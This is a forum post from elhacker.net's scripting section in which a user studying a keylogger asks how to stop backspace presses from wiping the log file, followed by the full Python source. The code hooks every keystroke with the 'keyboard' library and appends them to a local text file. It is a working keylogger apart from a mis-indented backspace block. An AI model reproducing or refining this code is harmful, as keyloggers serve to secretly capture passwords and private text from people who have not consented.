elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Mensajes
Páginas: [1]
1  Programación / Scripting / Mejorar el keylogger PYTHON en: 13 Febrero 2019, 03:07 am
Buenas noches, estoy estudiando un keylogger y he podido entender algunas cosas y modificar, pero tengo un problema y es que a veces me registraba todas las teclas pero le faltaban que si 2, y me di cuenta que era por el backspace, al tenerlo presionado borra todo el archivo, como podria ponerlo optimo? espero que me puedan ayudar

from functools import partial
import atexit
import os
import keyboard
MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "testando10.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):

        # Esta línea lee el caracter presionado
        key = MAP.get(event.name, event.name)
          if key in ["backspace"]:
                with open(FILE_NAME, 'rb+') as f:
                    f.seek(0,2)               
                    size=f.tell()               
                    f.truncate(size-1)   
        # Luego valido que dicho caracter no esté en la lista ["backspace","enter"]
        if key not in ["backspace","enter", "tab", "right shift", "caps lock", "shift", "right ctrl", "esc", "left windows", "right", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9" ]:
          modifier = len(key) > 1

          # Capturar únicamente los modificadores cuando están siendo
          # presionados.
          if not modifier and event.event_type == "down":
              return
          # Evitar escribir múltiples veces la misma tecla si está
          # siendo presionada.
         
          if modifier:
              if event.event_type == "down":
                  if is_down.get(key, False):
                      return
                  else:
                      is_down[key] = True
              elif event.event_type == "up":
                  is_down[key] = False
              # Indicar si está siendo presionado.
              key = " [{} ({})] ".format(key, event.event_type)
          elif key == "\r":
              # Salto de línea.
              key = "\n"

          # Escribir la tecla al archivo de salida.
          output.write(key)
          # Forzar escritura.
          output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)

    # Indica si una tecla está siendo presionada.
    is_down = {}

    # Archivo de salida.
    output = open(FILE_NAME, "a")

    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)

    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)
if __name__ == "__main__":
    main()
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines